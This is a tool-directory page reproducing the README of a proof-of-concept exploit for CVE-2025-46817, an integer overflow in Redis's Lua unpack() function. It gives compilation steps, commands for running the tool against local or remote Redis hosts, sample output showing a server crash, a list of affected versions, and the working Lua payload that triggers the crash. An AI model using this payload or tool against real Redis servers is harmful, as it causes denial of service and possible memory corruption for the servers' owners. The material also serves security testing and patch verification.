Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacyΒ© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-46817-PoC β€” C-based exploit for CVE-2025-46817, a Redis integer overflow vulnerability, enabling crash detection and potential RCE via Lua unpack() payload. | Kitploit
Tools/GitHubGitHub/slayerkkkk/cve-2025-46817-poc
Vulnerability AnalysisExploitationFuzzingPenetration TestingDatabase Security
GitHubslayerkkkk/cve-2025-46817-poc

CVE-2025-46817-PoC

C-based exploit for CVE-2025-46817, a Redis integer overflow vulnerability, enabling crash detection and potential RCE via Lua unpack() payload.

View Repository
2481 year agoNot yet reviewed

Most Popular

View all β†’

Discover the most used tools by our community.

No popularity data yet.

Explore all tools

Browse our collection of tools

View all tools β†’
Share

CVE-2025-46817 Redis Integer Overflow Exploit

Banner Language Platform

A lightweight C implementation of the CVE-2025-46817 exploit for Redis integer overflow vulnerability.

πŸš€ Features

  • Lightweight: Single C file, no external dependencies beyond hiredis
  • Fast: Native compilation for maximum performance
  • Colorful Output: Beautiful terminal colors and icons
  • Crash Detection: Automatically detects server crashes
  • Version Checking: Identifies vulnerable Redis versions
  • Timeout Support: Configurable connection timeouts

πŸ“‹ Requirements

Ubuntu/Debian

sudo apt-get update
sudo apt-get install build-essential libhiredis-dev

CentOS/RHEL

sudo yum install gcc hiredis-devel

macOS

brew install hiredis

πŸ”§ Compilation

gcc -o exploit exploit.c -lhiredis

🎯 Usage

Basic Usage

./exploit -H 127.0.0.1 -P 6379

Remote Target

./exploit -H 192.168.1.100 -P 6379 -t 5

Command Line Options

-H <host>    Redis server host (required)
-P <port>    Redis server port (required)  
-t <timeout> Connection timeout in seconds (default: 10)
-h           Show help message

πŸ“Š Example Output

 β–ˆβ–ˆβ–“β–ˆβ–ˆβ–ˆ   β–ˆ     β–ˆβ–‘β–ˆβ–ˆβ–ˆβ–„    β–ˆ  β–„β–„β–„β–„    β–ˆ    β–ˆβ–ˆ   β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–’ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–’β–“β–ˆβ–ˆβ–ˆβ–ˆβ–ˆ  β–ˆβ–ˆβ–€β–ˆβ–ˆβ–ˆ  
β–“β–ˆβ–ˆβ–‘  β–ˆβ–ˆβ–’β–“β–ˆβ–‘ β–ˆ β–‘β–ˆβ–‘β–ˆβ–ˆ β–€β–ˆ   β–ˆ β–“β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–„  β–ˆβ–ˆ  β–“β–ˆβ–ˆβ–’β–“β–ˆβ–ˆ   β–’β–“β–ˆβ–ˆ   β–’ β–“β–ˆ   β–€ β–“β–ˆβ–ˆ β–’ β–ˆβ–ˆβ–’
β–“β–ˆβ–ˆβ–‘ β–ˆβ–ˆβ–“β–’β–’β–ˆβ–‘ β–ˆ β–‘β–ˆβ–“β–ˆβ–ˆ  β–€β–ˆ β–ˆβ–ˆβ–’β–’β–ˆβ–ˆβ–’ β–„β–ˆβ–ˆβ–“β–ˆβ–ˆ  β–’β–ˆβ–ˆβ–‘β–’β–ˆβ–ˆβ–ˆβ–ˆ β–‘β–’β–ˆβ–ˆβ–ˆβ–ˆ β–‘ β–’β–ˆβ–ˆβ–ˆ   β–“β–ˆβ–ˆ β–‘β–„β–ˆ β–’
β–’β–ˆβ–ˆβ–„β–ˆβ–“β–’ β–’β–‘β–ˆβ–‘ β–ˆ β–‘β–ˆβ–“β–ˆβ–ˆβ–’  β–β–Œβ–ˆβ–ˆβ–’β–’β–ˆβ–ˆβ–‘β–ˆβ–€  β–“β–“β–ˆ  β–‘β–ˆβ–ˆβ–‘β–‘β–“β–ˆβ–’  β–‘β–‘β–“β–ˆβ–’  β–‘ β–’β–“β–ˆ  β–„ β–’β–ˆβ–ˆβ–€β–€β–ˆβ–„  
β–’β–ˆβ–ˆβ–’ β–‘  β–‘β–‘β–‘β–ˆβ–ˆβ–’β–ˆβ–ˆβ–“β–’β–ˆβ–ˆβ–‘   β–“β–ˆβ–ˆβ–‘β–‘β–“β–ˆ  β–€β–ˆβ–“β–’β–’β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–“ β–‘β–’β–ˆβ–‘   β–‘β–’β–ˆβ–‘    β–‘β–’β–ˆβ–ˆβ–ˆβ–ˆβ–’β–‘β–ˆβ–ˆβ–“ β–’β–ˆβ–ˆβ–’
β–’β–“β–’β–‘ β–‘  β–‘β–‘ β–“β–‘β–’ β–’ β–‘ β–’β–‘   β–’ β–’ β–‘β–’β–“β–ˆβ–ˆβ–ˆβ–€β–’β–‘β–’β–“β–’ β–’ β–’  β–’ β–‘    β–’ β–‘    β–‘β–‘ β–’β–‘ β–‘β–‘ β–’β–“ β–‘β–’β–“β–‘
β–‘β–’ β–‘       β–’ β–‘ β–‘ β–‘ β–‘β–‘   β–‘ β–’β–‘β–’β–‘β–’   β–‘ β–‘β–‘β–’β–‘ β–‘ β–‘  β–‘      β–‘       β–‘ β–‘  β–‘  β–‘β–’ β–‘ β–’β–‘
β–‘β–‘         β–‘   β–‘    β–‘   β–‘ β–‘  β–‘    β–‘  β–‘β–‘β–‘ β–‘ β–‘  β–‘ β–‘    β–‘ β–‘       β–‘     β–‘β–‘   β–‘ 
             β–‘            β–‘  β–‘         β–‘                       β–‘  β–‘   β–‘     
                                  β–‘                                         
                    CVE-2025-46817 Exploit Tool
                   Integer Overflow -> RCE Chain
                   Access -> https://pwnbuffer.org/

    Author: Slayerkkk
    Target: Redis <= 8.2.1
    Type: Memory Corruption -> Code Execution

ℹ️ Testing connection to 127.0.0.1:6379...
βœ… Connection successful
ℹ️ Redis version: 8.2.1
❌ VULNERABLE - Version <= 8.2.1
ℹ️ Testing Lua scripting...
βœ… Lua enabled (1+1=2)

πŸš€ STARTING EXPLOITATION
==================================================
πŸ’€ Executing exploit payload...
    Payload: Integer overflow via unpack()
πŸ’₯ SERVER CRASHED - Connection lost!

πŸ“Š EXPLOITATION RESULT
==============================
  πŸ’₯ Status: crashed (2.34s)

πŸ’€ EXPLOITATION SUCCESSFUL - Server crashed!
   CVE-2025-46817 vulnerability confirmed

πŸ›‘οΈ Affected Versions

  • Redis <= 8.2.1
  • Redis <= 8.0.3
  • Redis <= 7.4.5
  • Redis <= 7.2.10
  • Redis <= 6.2.19

πŸ” Technical Details

Vulnerability

The exploit targets an integer overflow in Redis's Lua unpack() function implementation (luaB_unpack). When called with specific parameters, the signed integer arithmetic overflows, causing Redis to attempt materializing an enormous number of return values.

Exploit Payload

local data = {1, 2, 3}
return {unpack(data, -2147483648, 2147483647)}

Impact

  • Server Crash: Immediate denial of service
  • Memory Corruption: Heap/stack corruption
  • Potential RCE: Memory corruption could lead to code execution

🎯 Detection Results

The tool reports one of these statuses:

  • βœ… survived: Server handled the payload (likely patched)
  • πŸ’₯ crashed: Server crashed (vulnerable)
  • ⚠️ timeout: Server hung (likely vulnerable)
  • ❌ error: Other error occurred

πŸ™ Credits

Author: Slayerkkk
Website: https://pwnbuffer.org

Download Tool